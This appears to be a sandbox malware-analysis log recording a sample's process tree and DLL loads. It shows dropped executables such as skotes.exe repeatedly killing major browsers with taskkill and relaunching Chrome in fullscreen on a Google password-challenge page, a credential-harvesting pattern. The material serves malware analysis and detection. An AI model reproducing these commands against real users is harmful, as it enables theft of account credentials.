Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2904 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe "C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1152,i,15500864807837732652,8979653825790183584,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4516 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe "C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5648 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5800 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4484 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2904 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4516 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1152 --field-trial-handle=2040,i,8769351574913738686,7511269282204500585,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,7048868189645442855,15603037541109083957,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1152,i,15500864807837732652,8979653825790183584,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
